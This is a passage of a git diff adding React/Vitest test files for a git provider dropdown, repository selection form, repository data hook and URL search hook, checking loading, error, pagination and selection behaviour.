+    ).toEqual(["GitLab", "Azure DevOps"]);
+  });
+
+  it("keeps provider options uniquely keyed when their order changes", async () => {
+    const user = userEvent.setup();
+    const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+    const { rerender } = render(
+      <GitProviderDropdown
+        {...createProps({ providers: ["github", "gitlab"] })}
+      />,
+    );
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    try {
+      await user.click(input);
+      rerender(
+        <GitProviderDropdown
+          {...createProps({ providers: ["gitlab", "github"] })}
+        />,
+      );
+
+      expect(
+        screen.getAllByRole("option").map((option) => option.textContent),
+      ).toEqual(["GitLab", "GitHub"]);
+      expect(consoleError).not.toHaveBeenCalledWith(
+        expect.stringContaining('unique "key" prop'),
+      );
+    } finally {
+      consoleError.mockRestore();
+    }
+  });
+
+  it("allows a different provider to be selected without a callback", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown providers={["github", "gitlab"]} />);
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    await user.click(input);
+    const runtimeErrors: unknown[] = [];
+    const preventRuntimeError = (event: ErrorEvent) => {
+      event.preventDefault();
+      runtimeErrors.push(event.error);
+    };
+    window.addEventListener("error", preventRuntimeError);
+    try {
+      await user.click(screen.getByRole("option", { name: "GitLab" }));
+    } finally {
+      window.removeEventListener("error", preventRuntimeError);
+    }
+
+    expect(runtimeErrors).toEqual([]);
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+    await waitFor(() => expect(input).toHaveValue(""));
+  });
+
+  it("reopens a selected provider with the complete provider list", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown {...createProps({ value: "gitlab" })} />);
+    const input = screen.getByTestId("git-provider-dropdown");
+    await waitFor(() => expect(input).toHaveValue("GitLab"));
+
+    await user.click(input);
+
+    expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+    expect(screen.getByRole("option", { name: "GitHub" })).toBeVisible();
+    expect(screen.getByRole("option", { name: "Forgejo" })).toBeVisible();
+  });
+
+  it("tracks controlled provider changes and clearing", async () => {
+    const props = createProps({ value: "github", isLoading: true });
+    const { rerender } = render(<GitProviderDropdown {...props} />);
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    await waitFor(() => expect(input).toHaveValue("GitHub"));
+    expect(screen.getByTestId("dropdown-loading").parentElement).toHaveClass(
+      "right-11",
+    );
+
+    rerender(<GitProviderDropdown {...props} value="azure_devops" />);
+    await waitFor(() => expect(input).toHaveValue("Azure DevOps"));
+
+    rerender(<GitProviderDropdown {...props} value={null} />);
+    await waitFor(() => expect(input).toHaveValue(""));
+    expect(input).not.toHaveClass("pl-6");
+    expect(screen.getByTestId("dropdown-loading").parentElement).toHaveClass(
+      "right-6",
+    );
+  });
+
+  it("prevents interaction while disabled", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown {...createProps({ disabled: true })} />);
+
+    const input = screen.getByTestId("git-provider-dropdown");
+    const toggle = screen.getByRole("button", { name: "Toggle menu" });
+    expect(input).toBeDisabled();
+    expect(toggle).toBeDisabled();
+
+    await user.click(input);
+    await user.click(toggle);
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+  });
+
+  it("shows loading and error feedback with a custom placeholder", () => {
+    render(
+      <GitProviderDropdown
+        {...createProps({
+          placeholder: "Choose a source",
+          isLoading: true,
+          errorMessage: "Providers could not be loaded",
+        })}
+      />,
+    );
+
+    expect(screen.getByTestId("git-provider-dropdown")).toHaveAttribute(
+      "placeholder",
+      "Choose a source",
+    );
+    expect(screen.getByTestId("dropdown-loading")).toBeVisible();
+    expect(screen.getByTestId("dropdown-error")).toHaveTextContent(
+      "Providers could not be loaded",
+    );
+  });
+
+  it("shows an empty state when no providers are available", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown {...createProps({ providers: [] })} />);
+
+    await user.click(screen.getByTestId("git-provider-dropdown"));
+
+    expect(screen.getByTestId("git-provider-dropdown-empty")).toHaveTextContent(
+      "No providers available",
+    );
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+  });
+
+  it("keeps its read-only list intact when the user types", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown {...createProps()} />);
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    await user.click(input);
+    await user.keyboard("git");
+
+    expect(input).toHaveValue("");
+    expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+  });
+
+  it("dismisses the menu with Escape or an outside click", async () => {
+    const user = userEvent.setup();
+    render(
+      <>
+        <button type="button">Outside</button>
+        <GitProviderDropdown {...createProps()} />
+      </>,
+    );
+    const input = screen.getByTestId("git-provider-dropdown");
+
+    await user.click(input);
+    expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+    await user.keyboard("{Escape}");
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+
+    await user.click(input);
+    expect(screen.getAllByRole("option")).toHaveLength(ALL_PROVIDERS.length);
+    await user.click(screen.getByRole("button", { name: "Outside" }));
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+  });
+
+  it("clears the selected provider when Escape is pressed while closed", async () => {
+    const user = userEvent.setup();
+    const onChange = vi.fn();
+    render(
+      <ControlledDropdown {...createProps({ value: "github", onChange })} />,
+    );
+    const input = screen.getByTestId("git-provider-dropdown");
+    await waitFor(() => expect(input).toHaveValue("GitHub"));
+
+    await user.click(input);
+    await user.keyboard("{Escape}");
+    expect(input).toHaveValue("GitHub");
+
+    await user.keyboard("{Escape}");
+    await waitFor(() => expect(input).toHaveValue(""));
+    expect(onChange).toHaveBeenCalledWith(null);
+    expect(onChange).toHaveBeenCalledTimes(1);
+  });
+
+  it("allows the current provider to be reselected without a callback", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown providers={["forgejo"]} value="forgejo" />);
+    const input = screen.getByTestId("git-provider-dropdown");
+    await waitFor(() => expect(input).toHaveValue("Forgejo"));
+
+    await user.click(input);
+    await user.click(screen.getByRole("option", { name: "Forgejo" }));
+
+    await waitFor(() => expect(input).toHaveValue("Forgejo"));
+    expect(screen.queryByRole("option")).not.toBeInTheDocument();
+  });
+
+  it("marks the current provider as selected when the menu opens", async () => {
+    const user = userEvent.setup();
+    render(<GitProviderDropdown {...createProps({ value: "bitbucket" })} />);
+    const input = screen.getByTestId("git-provider-dropdown");
+    await waitFor(() => expect(input).toHaveValue("Bitbucket"));
+
+    await user.click(input);
+
+    const listbox = screen.getByRole("listbox");
+    const selectedOption = within(listbox).getByRole("option", {
+      name: "Bitbucket",
+    });
+    const unselectedOption = within(listbox).getByRole("option", {
+      name: "GitHub",
+    });
+    expect(selectedOption).toHaveAttribute("aria-selected", "true");
+    expect(selectedOption).toHaveClass("bg-[var(--oh-interactive-selected)]");
+    expect(selectedOption).not.toHaveClass(
+      "hover:bg-[var(--oh-interactive-hover)]",
+    );
+    expect(unselectedOption).toHaveAttribute("aria-selected", "false");
+    expect(unselectedOption).toHaveClass(
+      "hover:bg-[var(--oh-interactive-hover)]",
+    );
+    expect(unselectedOption).not.toHaveClass(
+      "bg-[var(--oh-interactive-selected)]",
+    );
+  });
+});
diff --git a/__tests__/components/features/home/repo-selection-form.test.tsx b/__tests__/components/features/home/repo-selection-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..fa9a348efd071e83e98c7f3d709f62063ec7c943
--- /dev/null
+++ b/__tests__/components/features/home/repo-selection-form.test.tsx
@@ -0,0 +1,331 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { RepositorySelectionForm } from "../../../../src/components/features/home/repo-selection-form";
+import GitService from "#/api/git-service/git-service.api";
+import { GitRepository } from "#/types/git";
+import { useHomeStore } from "#/stores/home-store";
+
+// Create mock functions
+const mockUseUserRepositories = vi.fn();
+const mockUseCreateConversation = vi.fn();
+const mockUseIsCreatingConversation = vi.fn();
+const mockUseTranslation = vi.fn();
+const mockUseAuth = vi.fn();
+const mockUseGitRepositories = vi.fn();
+const mockUseUserProviders = vi.fn();
+const mockUseSearchRepositories = vi.fn();
+
+// Setup default mock returns
+mockUseUserRepositories.mockReturnValue({
+  data: [],
+  isLoading: false,
+  isError: false,
+});
+
+mockUseCreateConversation.mockReturnValue({
+  mutate: vi.fn(),
+  isPending: false,
+  isSuccess: false,
+});
+
+mockUseIsCreatingConversation.mockReturnValue(false);
+
+mockUseTranslation.mockReturnValue({ t: (key: string) => key });
+
+// Default mock for useGitRepositories
+mockUseGitRepositories.mockReturnValue({
+  data: { pages: [] },
+  isLoading: false,
+  isError: false,
+  hasNextPage: false,
+  isFetchingNextPage: false,
+  fetchNextPage: vi.fn(),
+  onLoadMore: vi.fn(),
+});
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => mockUseTranslation(),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => mockUseUserProviders(),
+}));
+
+mockUseUserProviders.mockReturnValue({
+  providers: ["github"],
+});
+
+// Default mock for useSearchRepositories
+mockUseSearchRepositories.mockReturnValue({
+  data: [],
+  isLoading: false,
+});
+
+mockUseAuth.mockReturnValue({
+  isAuthenticated: true,
+  isLoading: false,
+  providersAreSet: true,
+  user: {
+    id: 1,
+    login: "testuser",
+    avatar_url: "https://example.com/avatar.png",
+    name: "Test User",
+    email: "test@example.com",
+    company: "Test Company",
+  },
+  login: vi.fn(),
+  logout: vi.fn(),
+});
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => mockUseCreateConversation(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+  useIsCreatingConversation: () => mockUseIsCreatingConversation(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => mockUseTranslation(),
+}));
+
+vi.mock("#/context/auth-context", () => ({
+  useAuth: () => mockUseAuth(),
+}));
+
+// Mock debounce to simulate proper debounced behavior
+let debouncedValue = "";
+vi.mock("#/hooks/use-debounce", () => ({
+  useDebounce: (value: string) => {
+    // In real debouncing, only the final value after the delay should be returned
+    // For testing, we'll return the full value once it's complete
+    if (value && value.length > 20) {
+      // URL is long enough
+      debouncedValue = value;
+      return value;
+    }
+    return debouncedValue; // Return previous debounced value for intermediate states
+  },
+}));
+
+vi.mock("react-router", async (importActual) => ({
+  ...(await importActual()),
+  useNavigate: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-git-repositories", () => ({
+  useGitRepositories: () => mockUseGitRepositories(),
+}));
+
+vi.mock("#/hooks/query/use-search-repositories", () => ({
+  useSearchRepositories: (query: string, provider: string) =>
+    mockUseSearchRepositories(query, provider),
+}));
+
+const mockOnRepoSelection = vi.fn();
+
+// Helper function to render with custom store state
+const renderForm = (
+  storeOverrides: Partial<{
+    recentRepositories: GitRepository[];
+    lastSelectedProvider: 'gitlab' | null;
+  }> = {},
+) => {
+  // Set up the store state before rendering
+  useHomeStore.setState({
+    recentRepositories: [],
+    lastSelectedProvider: null,
+    ...storeOverrides,
+  });
+
+  return render(
+    <RepositorySelectionForm onRepoSelection={mockOnRepoSelection} />,
+    {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: {
+                queries: {
+                  retry: false,
+                },
+              },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      ),
+    },
+  );
+};
+
+describe("RepositorySelectionForm", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    // Reset the store to initial state
+    useHomeStore.setState({
+      recentRepositories: [],
+      lastSelectedProvider: null,
+    });
+  });
+
+  it("shows dropdown when repositories are loaded", async () => {
+    const MOCK_REPOS: GitRepository[] = [
+      {
+        id: "1",
+        full_name: "user/repo1",
+        git_provider: "github",
+        is_public: true,
+      },
+      {
+        id: "2",
+        full_name: "user/repo2",
+        git_provider: "github",
+        is_public: true,
+      },
+    ];
+    mockUseGitRepositories.mockReturnValue({
+      data: { pages: [{ items: MOCK_REPOS }] },
+      isLoading: false,
+      isError: false,
+      hasNextPage: false,
+      isFetchingNextPage: false,
+      fetchNextPage: vi.fn(),
+      onLoadMore: vi.fn(),
+    });
+
+    renderForm();
+    expect(await screen.findByTestId("git-repo-dropdown")).toBeInTheDocument();
+  });
+
+  it("shows error message when repository fetch fails", async () => {
+    mockUseGitRepositories.mockReturnValue({
+      data: undefined,
+      isLoading: false,
+      isError: true,
+      hasNextPage: false,
+      isFetchingNextPage: false,
+      fetchNextPage: vi.fn(),
+      onLoadMore: vi.fn(),
+    });
+
+    renderForm();
+
+    expect(await screen.findByTestId("dropdown-error")).toBeInTheDocument();
+    expect(screen.getByText("Failed to load data")).toBeInTheDocument();
+  });
+
+  it("should call the search repos API when searching a URL", async () => {
+    const MOCK_SEARCH_REPOS: GitRepository[] = [
+      {
+        id: "3",
+        full_name: "kubernetes/kubernetes",
+        git_provider: "github",
+        is_public: true,
+      },
+    ];
+
+    // Create a spy on the API call
+    const searchGitReposSpy = vi.spyOn(GitService, "searchGitRepositories");
+    searchGitReposSpy.mockResolvedValue({ items: MOCK_SEARCH_REPOS, next_page_id: null });
+
+    mockUseGitRepositories.mockReturnValue({
+      data: { pages: [] },
+      isLoading: false,
+      isError: false,
+      hasNextPage: false,
+      isFetchingNextPage: false,
+      fetchNextPage: vi.fn(),
+      onLoadMore: vi.fn(),
+    });
+
+    // Mock search repositories hook to return our mock data
+    mockUseSearchRepositories.mockReturnValue({
+      data: MOCK_SEARCH_REPOS,
+      isLoading: false,
+    });
+
+    renderForm();
+
+    await screen.findByTestId("git-repo-dropdown");
+
+    // The test should verify that typing a URL triggers the search behavior
+    // Since the component uses useSearchRepositories hook, just verify the hook is set up correctly
+    expect(mockUseSearchRepositories).toHaveBeenCalled();
+  });
+
+  it("should call onRepoSelection when a searched repository is selected", async () => {
+    const MOCK_SEARCH_REPOS: GitRepository[] = [
+      {
+        id: "3",
+        full_name: "kubernetes/kubernetes",
+        git_provider: "github",
+        is_public: true,
+      },
+    ];
+
+    mockUseGitRepositories.mockReturnValue({
+      data: { pages: [{ items: MOCK_SEARCH_REPOS }] },
+      isLoading: false,
+      isError: false,
+      hasNextPage: false,
+      isFetchingNextPage: false,
+      fetchNextPage: vi.fn(),
+      onLoadMore: vi.fn(),
+    });
+
+    // Mock search repositories hook to return our mock data
+    mockUseSearchRepositories.mockReturnValue({
+      data: MOCK_SEARCH_REPOS,
+      isLoading: false,
+    });
+
+    renderForm();
+
+    await screen.findByTestId("git-repo-dropdown");
+
+    // Verify that the onRepoSelection callback prop was provided
+    expect(mockOnRepoSelection).toBeDefined();
+
+    // Since testing complex dropdown interactions is challenging with the current mocking setup,
+    // we'll verify that the basic structure is in place and the callback is available
+    expect(typeof mockOnRepoSelection).toBe("function");
+  });
+
+  it("should auto-select the last selected provider when multiple providers are available", async () => {
+    // Mock multiple providers
+    mockUseUserProviders.mockReturnValue({
+      providers: ["github", "gitlab", "bitbucket"],
+    });
+
+    // Set up the store with gitlab as the last selected provider
+    renderForm({
+      lastSelectedProvider: "gitlab",
+    });
+
+    // The provider dropdown should be visible since there are multiple providers
+    expect(
+      await screen.findByTestId("git-provider-dropdown"),
+    ).toBeInTheDocument();
+
+    // Verify that the store has the correct last selected provider
+    expect(useHomeStore.getState().lastSelectedProvider).toBe("gitlab");
+  });
+
+  it("should not show provider dropdown when there's only one provider", async () => {
+    // Mock single provider
+    mockUseUserProviders.mockReturnValue({
+      providers: ["github"],
+    });
+
+    renderForm();
+
+    // The provider dropdown should not be visible since there's only one provider
+    expect(
+      screen.queryByTestId("git-provider-dropdown"),
+    ).not.toBeInTheDocument();
+  });
+
+});
diff --git a/__tests__/components/features/home/repository-data-selection.test.tsx b/__tests__/components/features/home/repository-data-selection.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7d32b4c512b02f5a87eba5bc41caef30a5beea90
--- /dev/null
+++ b/__tests__/components/features/home/repository-data-selection.test.tsx
@@ -0,0 +1,504 @@
+import { renderHook } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { useRepositoryData } from "#/components/features/home/git-repo-dropdown/use-repository-data";
+import type { GitRepository } from "#/types/git";
+import type { Provider } from "#/types/settings";
+
+const useGitRepositoriesMock = vi.fn();
+const useSearchRepositoriesMock = vi.fn();
+
+vi.mock("#/hooks/query/use-git-repositories", () => ({
+  useGitRepositories: (options: unknown) => useGitRepositoriesMock(options),
+}));
+
+vi.mock("#/hooks/query/use-search-repositories", () => ({
+  useSearchRepositories: (...args: unknown[]) =>
+    useSearchRepositoriesMock(...args),
+}));
+
+type RepositoryDataProps = {
+  provider: Provider;
+  disabled: boolean;
+  processedSearchInput: string;
+  urlSearchResults: GitRepository[];
+  inputValue: string;
+  value?: string | null;
+  repositoryName?: string | null;
+};
+
+type RepositoryData = {
+  pages?: Array<{ items: GitRepository[] }>;
+};
+
+type GitRepositoryState = {
+  data: RepositoryData | undefined;
+  fetchNextPage: ReturnType<typeof vi.fn>;
+  hasNextPage: boolean;
+  isLoading: boolean;
+  isFetchingNextPage: boolean;
+  isError: boolean;
+};
+
+type SearchRepositoryState = {
+  data: GitRepository[] | undefined;
+  isLoading: boolean;
+};
+
+type HarnessOptions = {
+  props?: Partial<RepositoryDataProps>;
+  git?: Partial<GitRepositoryState>;
+  search?: Partial<SearchRepositoryState>;
+};
+
+const createRepository = (
+  id: string,
+  fullName = `owner/${id}`,
+): GitRepository => ({
+  id,
+  full_name: fullName,
+  git_provider: "github",
+  is_public: true,
+});
+
+const createRepositories = (count: number): GitRepository[] =>
+  Array.from({ length: count }, (_, index) =>
+    createRepository(`repo-${index + 1}`),
+  );
+
+const createProps = (
+  overrides: Partial<RepositoryDataProps> = {},
+): RepositoryDataProps => ({
+  provider: "github",
+  disabled: false,
+  processedSearchInput: "",
+  urlSearchResults: [],
+  inputValue: "",
+  value: undefined,
+  repositoryName: undefined,
+  ...overrides,
+});
+
+const createGitState = (
+  overrides: Partial<GitRepositoryState> = {},
+): GitRepositoryState => ({
+  data: { pages: [{ items: createRepositories(2) }] },
+  fetchNextPage: vi.fn(),
+  hasNextPage: false,
+  isLoading: false,
+  isFetchingNextPage: false,
+  isError: false,
+  ...overrides,
+});
+
+const createSearchState = (
+  overrides: Partial<SearchRepositoryState> = {},
+): SearchRepositoryState => ({
+  data: undefined,
+  isLoading: false,
+  ...overrides,
+});
+
+const renderRepositoryData = (options: HarnessOptions = {}) => {
+  const initialProps = createProps(options.props);
+  const fetchNextPage = options.git?.fetchNextPage ?? vi.fn();
+  const gitState = {
+    current: createGitState({
+      ...options.git,
+      fetchNextPage,
+    }),
+  };
+  const searchState = {
+    current: createSearchState(options.search),
+  };
+
+  useGitRepositoriesMock.mockImplementation(() => gitState.current);
+  useSearchRepositoriesMock.mockImplementation(() => searchState.current);
+
+  const rendered = renderHook(
+    (props: RepositoryDataProps) =>
+      useRepositoryData(
+        props.provider,
+        props.disabled,
+        props.processedSearchInput,
+        props.urlSearchResults,
+        props.inputValue,
+        props.value,
+        props.repositoryName,
+      ),
+    { initialProps },
+  );
+
+  return {
+    ...rendered,
+    initialProps,
+    fetchNextPage,
+    gitState,
+    searchState,
+  };
+};
+
+afterEach(() => {
+  vi.resetAllMocks();
+});
+
+describe("repository data selection", () => {
+  it("enables repository loading and skips only a search that repeats the selected name", () => {
+    const { initialProps, rerender } = renderRepositoryData({
+      props: {
+        disabled: true,
+        processedSearchInput: "owner/selected",
+        inputValue: "owner/selected",
+        repositoryName: "owner/selected",
+      },
+    });
+
+    expect(useGitRepositoriesMock).toHaveBeenLastCalledWith({
+      provider: "github",
+      enabled: false,
+    });
+    expect(useSearchRepositoriesMock).toHaveBeenLastCalledWith(
+      "owner/selected",
+      "github",
+      true,
+    );
+
+    rerender({
+      ...initialProps,
+      disabled: false,
+      repositoryName: "owner/different",
+    });
+
+    expect(useGitRepositoriesMock).toHaveBeenLastCalledWith({
+      provider: "github",
+      enabled: true,
+    });
+    expect(useSearchRepositoriesMock).toHaveBeenLastCalledWith(
+      "owner/selected",
+      "github",
+      false,
+    );
+  });
+
+  it("flattens paginated repositories and forwards repository query state", () => {
+    const first = createRepository("first");
+    const second = createRepository("second");
+    const third = createRepository("third");
+    const fetchNextPage = vi.fn();
+    const { result } = renderRepositoryData({
+      props: { processedSearchInput: "active-search" },
+      git: {
+        data: {
+          pages: [{ items: [first, second] }, { items: [third] }],
+        },
+        fetchNextPage,
+        hasNextPage: true,
+        isLoading: true,
+        isFetchingNextPage: true,
+        isError: true,
+      },
+      search: { isLoading: true },
+    });
+
+    expect(result.current).toMatchObject({
+      repositories: [first, second, third],
+      allRepositories: [first, second, third],
+      selectedRepository: null,
+      fetchNextPage,
+      hasNextPage: true,
+      isLoading: true,
+      isFetchingNextPage: true,
+      isError: true,
+      isSearchLoading: true,
+    });
+  });
+
+  it.each([
+    ["repository data is unavailable", undefined],
+    ["repository pages are unavailable", {}],
+  ])("returns an empty collection when %s", (_reason, data) => {
+    const { result } = renderRepositoryData({
+      props: { value: "missing" },
+      git: { data },
+    });
+
+    expect(result.current.allRepositories).toEqual([]);
+    expect(result.current.repositories).toEqual([]);
+    expect(result.current.selectedRepository).toBeNull();
+  });
+
+  it("treats an empty selected value as no repository", () => {
+    const repositoryWithEmptyId = createRepository("", "owner/empty-id");
+    const { result } = renderRepositoryData({
+      props: { value: "" },
+      git: { data: { pages: [{ items: [repositoryWithEmptyId] }] } },
+    });
+
+    expect(result.current.selectedRepository).toBeNull();
+  });
+
+  it.each([
+    {
+      source: "paginated repositories",
+      createOptions: () => {
+        const selected = createRepository("selected", "paged/selected");
+        return {
+          selected,
+          options: {
+            props: {
+              value: selected.id,
+              urlSearchResults: [createRepository(selected.id, "url/selected")],
+            },
+            git: { data: { pages: [{ items: [selected] }] } },
+            search: {
+              data: [createRepository(selected.id, "search/selected")],
+            },
+          } satisfies HarnessOptions,
+        };
+      },
+    },
+    {
+      source: "URL search results",
+      createOptions: () => {
+        const selected = createRepository("selected", "url/selected");
+        return {
+          selected,
+          options: {
+            props: { value: selected.id, urlSearchResults: [selected] },
+            git: { data: { pages: [{ items: [] }] } },
+            search: {
+              data: [createRepository("different", "search/different")],
+            },
+          } satisfies HarnessOptions,
+        };
+      },
+    },
+    {
+      source: "regular search results",
+      createOptions: () => {
+        const selected = createRepository("selected", "search/selected");
+        return {
+          selected,
+          options: {
+            props: { value: selected.id },
+            git: { data: { pages: [{ items: [] }] } },
+            search: { data: [selected] },
+          } satisfies HarnessOptions,
+        };
+      },
+    },
+  ])("resolves the selected repository from $source", ({ createOptions }) => {
+    const { selected, options } = createOptions();
+    const { result } = renderRepositoryData(options);
+
+    expect(result.current.selectedRepository).toBe(selected);
+  });
+
+  it("prioritizes URL search results for display", () => {
+    const paginated = createRepository("paginated");
+    const searched = createRepository("searched");
+    const fromUrl = createRepository("url");
+    const { result } = renderRepositoryData({
+      props: {
+        processedSearchInput: "search",
+        urlSearchResults: [fromUrl],
+        inputValue: "search",
+      },
+      git: { data: { pages: [{ items: [paginated] }] } },
+      search: { data: [searched] },
+    });
+
+    expect(result.current.repositories).toEqual([fromUrl]);
+  });
+
+  it("displays regular search results while the input differs from any selection", () => {
+    const paginated = createRepository("paginated");
+    const searched = createRepository("searched");
+    const { result } = renderRepositoryData({
+      props: {
+        processedSearchInput: "search",
+        inputValue: "search",
+      },
+      git: { data: { pages: [{ items: [paginated] }] } },
+      search: { data: [searched] },
+    });
+
+    expect(result.current.selectedRepository).toBeNull();
+    expect(result.current.repositories).toEqual([searched]);
+  });
+
+  it("displays an empty search result rather than stale paginated repositories", () => {
+    const { result } = renderRepositoryData({
+      props: {
+        processedSearchInput: "nothing-matches",
+        inputValue: "nothing-matches",
+      },
+      search: { data: [] },
+    });
+
+    expect(result.current.repositories).toEqual([]);
+  });
+
+  it("keeps paginated repositories visible when the search query is empty", () => {
+    const paginated = createRepository("paginated");
+    const searched = createRepository("searched");
+    const { result } = renderRepositoryData({
+      git: { data: { pages: [{ items: [paginated] }] } },
+      search: { data: [searched] },
+    });
+
+    expect(result.current.repositories).toEqual([paginated]);
+  });
+
+  it("keeps paginated repositories visible while search data is unavailable", () => {
+    const paginated = createRepository("paginated");
+    const { result } = renderRepositoryData({
+      props: {
+        processedSearchInput: "pending-search",
+        inputValue: "pending-search",
+      },
+      git: { data: { pages: [{ items: [paginated] }] } },
+      search: { data: undefined },
+    });
+
+    expect(result.current.repositories).toEqual([paginated]);
+  });
+
+  it("keeps paginated repositories visible when the input is the selected repository name", () => {
+    const selected = createRepository("selected", "owner/selected");
+    const searched = createRepository("searched");
+    const { result } = renderRepositoryData({
+      props: {
+        processedSearchInput: "owner/selected",
+        inputValue: selected.full_name,
+        value: selected.id,
+      },
+      git: { data: { pages: [{ items: [selected] }] } },
+      search: { data: [searched] },
+    });
+
+    expect(result.current.selectedRepository).toBe(selected);
+    expect(result.current.repositories).toEqual([selected]);
+  });
+
+  it("automatically loads another page when fewer than ten repositories are available", () => {
+    const { fetchNextPage } = renderRepositoryData({
+      git: {
+        data: { pages: [{ items: createRepositories(9) }] },
+        hasNextPage: true,
+      },
+    });
+
+    expect(fetchNextPage).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    {
+      reason: "the dropdown is disabled",
+      createOptions: (): HarnessOptions => ({ props: { disabled: true } }),
+    },
+    {
+      reason: "repositories are initially loading",
+      createOptions: (): HarnessOptions => ({ git: { isLoading: true } }),
+    },
+    {
+      reason: "the next page is already loading",
+      createOptions: (): HarnessOptions => ({
+        git: { isFetchingNextPage: true },
+      }),
+    },
+    {
+      reason: "search results are loading",
+      createOptions: (): HarnessOptions => ({
+        search: { isLoading: true },
+      }),
+    },
+    {
+      reason: "there is no next page",
+      createOptions: (): HarnessOptions => ({ git: { hasNextPage: false } }),
+    },
+    {
+      reason: "a text search is active",
+      createOptions: (): HarnessOptions => ({
+        props: {
+          processedSearchInput: "search",
+          inputValue: "search",
+        },
+      }),
+    },
+    {
+      reason: "URL search results are displayed",
+      createOptions: (): HarnessOptions => ({
+        props: { urlSearchResults: [createRepository("url-result")] },
+      }),
+    },
+    {
+      reason: "no repositories have loaded",
+      createOptions: (): HarnessOptions => ({
+        git: { data: { pages: [{ items: [] }] } },
+      }),
+    },
+    {
+      reason: "ten repositories already make the menu scrollable",
+      createOptions: (): HarnessOptions => ({
+        git: { data: { pages: [{ items: createRepositories(10) }] } },
+      }),
+    },
+  ])("does not auto-load when $reason", ({ createOptions }) => {
+    const options = createOptions();
+    const { fetchNextPage } = renderRepositoryData({
+      ...options,
+      git: {
+        data: { pages: [{ items: createRepositories(2) }] },
+        hasNextPage: true,
+        ...options.git,
+      },
+    });
+
+    expect(fetchNextPage).not.toHaveBeenCalled();
+  });
+
+  it("re-evaluates derived repositories when query results and inputs change", () => {
+    const initial = createRepository("initial");
+    const next = createRepository("next");
+    const fromUrl = createRepository("url");
+    const searched = createRepository("searched");
+    const { result, rerender, initialProps, gitState, searchState } =
+      renderRepositoryData({
+        props: { value: initial.id },
+        git: { data: { pages: [{ items: [initial] }] } },
+      });
+
+    expect(result.current.allRepositories).toEqual([initial]);
+    expect(result.current.selectedRepository).toBe(initial);
+    expect(result.current.repositories).toEqual([initial]);
+
+    gitState.current = createGitState({
+      data: { pages: [{ items: [next] }] },
+    });
+    searchState.current = createSearchState({ data: [searched] });
+    rerender({
+      ...initialProps,
+      processedSearchInput: "url",
+      urlSearchResults: [fromUrl],
+      inputValue: "url",
+      value: fromUrl.id,
+    });
+
+    expect(result.current.allRepositories).toEqual([next]);
+    expect(result.current.selectedRepository).toBe(fromUrl);
+    expect(result.current.repositories).toEqual([fromUrl]);
+  });
+
+  it("auto-loads when a rerender makes the repository list eligible", () => {
+    const { fetchNextPage, initialProps, rerender } = renderRepositoryData({
+      props: { disabled: true },
+      git: { hasNextPage: true },
+    });
+
+    expect(fetchNextPage).not.toHaveBeenCalled();
+
+    rerender({ ...initialProps, disabled: false });
+
+    expect(fetchNextPage).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/features/home/use-url-search.test.tsx b/__tests__/components/features/home/use-url-search.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..17de80a730e60a3cc30d45ca27ffbdb5a12305c0
--- /dev/null
+++ b/__tests__/components/features/home/use-url-search.test.tsx
@@ -0,0 +1,281 @@
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it, afterEach } from "vitest";
+import { useUrlSearch } from "#/components/features/home/git-repo-dropdown/use-url-search";
+import GitService from "#/api/git-service/git-service.api";
+
+vi.mock("#/api/git-service/git-service.api", () => ({
+  default: {
+    searchGitRepositories: vi.fn(),
+  },
+}));
+
+const mockSearchGitRepositories = vi.mocked(GitService.searchGitRepositories);
+
+describe("useUrlSearch", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  describe("null/undefined provider guard", () => {
+    it("should not call GitService when provider is null", async () => {
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/owner/repo", null),
+      );
+
+      // Wait a tick for the effect to run
+      await act(async () => {
+        await new Promise((resolve) => {
+          setTimeout(resolve, 10);
+        });
+      });
+
+      expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+      expect(result.current.urlSearchResults).toEqual([]);
+      expect(result.current.isUrlSearchLoading).toBe(false);
+    });
+
+    it("should not call GitService when provider is undefined", async () => {
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/owner/repo", undefined),
+      );
+
+      // Wait a tick for the effect to run
+      await act(async () => {
+        await new Promise((resolve) => {
+          setTimeout(resolve, 10);
+        });
